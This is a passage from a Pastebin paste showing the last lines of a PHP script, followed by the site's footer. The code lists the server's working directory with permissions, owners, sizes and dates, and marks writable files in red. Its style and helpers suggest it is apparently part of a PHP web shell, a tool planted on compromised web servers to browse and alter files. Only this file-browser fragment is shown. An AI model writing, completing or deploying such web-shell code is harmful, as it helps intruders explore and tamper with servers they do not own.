  636. echo "</textarea><br>\n";}
  637. #
  638. if(isset($error))echo $error;?>
  639. <hr><?php
  640. ##################################################################################
  641. if(is_readable(getcwd())){
  642. if($h=opendir(getcwd())){
  643. $arr=array();
  644. while(false!==($f=readdir($h))){array_push ($arr,$f);}
  645. closedir($h);}}
  646. else die("<center>".b(font('red','FUNCTION LIST PERMISSION DENIED',6))."</center>");
  647. sort($arr);
  648. echo '<table width=800 bgcolor=#DFD6C8 cellspacing=0 cellpadding=0 border=1>';
  649. foreach($arr as $f){
  650. $l=@lstat($f);
  651. print((is_readable($f) && is_writeable($f))?"<tr><td>".w(1).b("R".w(1).font('red','RW',3)).w(1):(((is_readable($f))?"<tr><td>".w(1).b("R").w(4):"").((is_writable($f))?"<tr><td>".w(1).b(font('red','RW',3)):"")));
  652. $r=sprintf("%o",(@fileperms($f)) & 0777);
  653. $ow=posix_getpwuid($l[4]);
  654. $gr=posix_getgrgid($l[5]);
  655. $fow=($ow["name"]?$ow["name"]:fileowner($f))."/".($gr["name"]?$gr["name"]:filegroup($f));
  656. if(!is_readable($f) && !is_writeable($f)) echo "<tr><td>".w(12);
  657. echo "</td><td>$r</td><td>$fow</td>";
  658. if(!is_dir($f)){
  659. if(!is_link($f)){
  660. echo w(2)."<td><i>".$l[7]."</i></td>";}
  661. else echo "</td><td>link</td>";}
  662. else echo "</td><td>DIR</td>";
  663. $fi=htmlspecialchars($f);
  664. echo "<td>".@strftime('%B %e %H:%M',@filemtime($f))."</td><td>".(is_dir($f)?font('blue',$fi,3):$fi)."</td>\n";}
  665. ?>
  666. </table></body></html>
  667. <?php exit; ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!